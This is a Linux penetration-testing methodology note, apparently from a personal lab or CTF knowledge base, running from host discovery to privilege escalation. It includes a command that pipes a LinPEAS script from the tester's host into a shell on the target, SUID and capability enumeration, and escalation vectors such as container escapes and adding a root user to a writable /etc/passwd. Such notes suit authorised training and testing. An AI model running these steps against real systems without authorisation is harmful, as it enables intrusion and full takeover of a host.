Recon to Privilege Escalation Process (2026)
End-to-end methodology, refreshed against 2026 practice. The core loop is unchanged: enumerate → exploit → re-enumerate as the new user → escalate. Specific commands live in the sibling notes under Privilege Escalation > Linux and in Methodology > Enumeration; this note is the ordering and overview.
1. Host Discovery
nmap -sn -T4 <target>/24
sudo nmap -PR -sn <target>/24 # ARP, local net
2. Port and Service Scan (Save Output)
nmap -sC -sV -T4 -p- -oA scans/<host> <target>
Always use -oA to save the .nmap/.gnmap/.xml output, and keep per-host logging.
3. Service Enumeration and Low-Hanging Fruit
Triage per Low Hanging Fruits: HTTP / FTP / SMB / SSH / RDP. Updated web-enum tooling:
ffuffor parameter/header fuzzing andferoxbusterfor recursive dirs (set a depth limit), both preferred over gobuster.- Filter noise by size/words/lines with
ffuf -fs/-fw/-fl.
4. Initial Access → Stabilize
Exploit the enumerated weakness, land a shell, and stabilize it (see Shells > Stable Shell; the Python-pty upgrade is unchanged).
5. Privilege Escalation — Recommended Ordering (2026)
Quick manual wins first, since they are cheap and quiet:
id; sudo -l
Automated enumeration — LinPEAS (PEASS-ng) replaces LinEnum:
# host:
python3 -m http.server 80
# target (nothing written to disk by default):
curl -L <your-ip>/linpeas.sh | sh
Red + yellow means likely exploitable. Flags: -a all/noisy, -s stealth/fast, -o select groups. Keep a local copy of linpeas.sh.
Then work the vectors, confirming each highlight manually:
find / -type f -perm -4000 -ls 2>/dev/null # SUID
getcap -r / 2>/dev/null # capabilities (note: -r before /)
cat /etc/crontab; ls -la /etc/cron.* # cron
- SUID / sudo / capabilities → GTFOBins (see
Abusing SUID/GUID). - cron → add pspy to catch jobs that crontab listings miss. This was the biggest gap in the old notes.
Newer vectors to add:
- Dangerous group membership:
docker,lxd/lxc,disk,adm(often root-equivalent). LinPEAS flags writable LXD sockets and lxd-group escapes. - Container escapes: privileged mode, mounted
/var/run/docker.sock. - Writable systemd service/timer units; PATH hijack on cron/systemd calling a bare filename (extends
Manipulating $PATH+Exploiting Crontab). - Writable
/etc/passwd(add a root-UID user — seeExploiting /etc/passwd).
Kernel exploits are a last resort: noisy, and they can panic the box.
Dated Items Corrected
suid-env2bash-function trick: works only on bash <= 4.4; patched on modern targets. Version-gate it.- Exim CVE-2016-1531: version-specific (<=4.84-3); a historical example, not a general one.
getcap: prefer thegetcap -r /flag order.
Sources (verified 2026): PEASS-ng LinPEAS README; redteamguide Linux privesc cheat sheet 2026; hackerdna; Hive Security 2026; golinuxcloud; Linux Magazine (feroxbuster/ffuf).